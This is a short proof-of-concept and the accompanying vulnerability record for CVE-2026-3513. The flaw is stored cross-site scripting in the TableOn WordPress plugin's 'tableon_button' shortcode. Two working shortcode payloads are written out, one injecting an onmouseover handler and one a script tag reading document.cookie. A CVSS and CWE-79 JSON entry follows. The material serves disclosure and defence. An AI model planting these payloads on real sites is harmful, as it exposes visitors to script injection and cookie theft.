CVE-2026-3513

<!-- PoC for CVE-2026-3513 Usage: Add the following shortcode to a WordPress post or page (Contributor access). The payload breaks the single quote in the HTML attribute and injects an event handler. --> <!-- Payload using 'class' attribute --> [tableon_button class="' onmouseover='alert(1)'" text="Hover me"] <!-- Payload using 'help_title' attribute --> [tableon_button help_title="'><script>alert(document.cookie)</script><" text="Click me"]

{"cve": {"id": "CVE-2026-3513", "sourceIdentifier": "[email protected]", "published": "2026-04-08T05:16:05.790", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The TableOn – WordPress Posts Table Filterable plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tableon_button' shortcode in all versions up to and including 1.0.4.4. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes such as 'class', 'help_link', 'popup_title', and 'help_title'. The do_shortcode_button() function extracts these attributes without sanitization and passes them to TABLEON_HELPER::draw_html_item(), which concatenates attribute values into HTML using single quotes without escaping (line 29: $item .= \" {$key}='{$value}'\"). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/posts-table-filterable/trunk/index.php#L489", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/posts-table-filterable/trunk/index.php#L495", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/posts-table-filterable/trunk/lib/helper.php#L29", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3476421%40posts-table-filterable&new=3476421%40posts-table-filterable&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3492852%40posts-table-filterable&new=3492852%40posts-table-filterable&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/33490873-da99-465e-bfb6-44d2ba84f3ee?source=cve", "source": "[email protected]"}]}}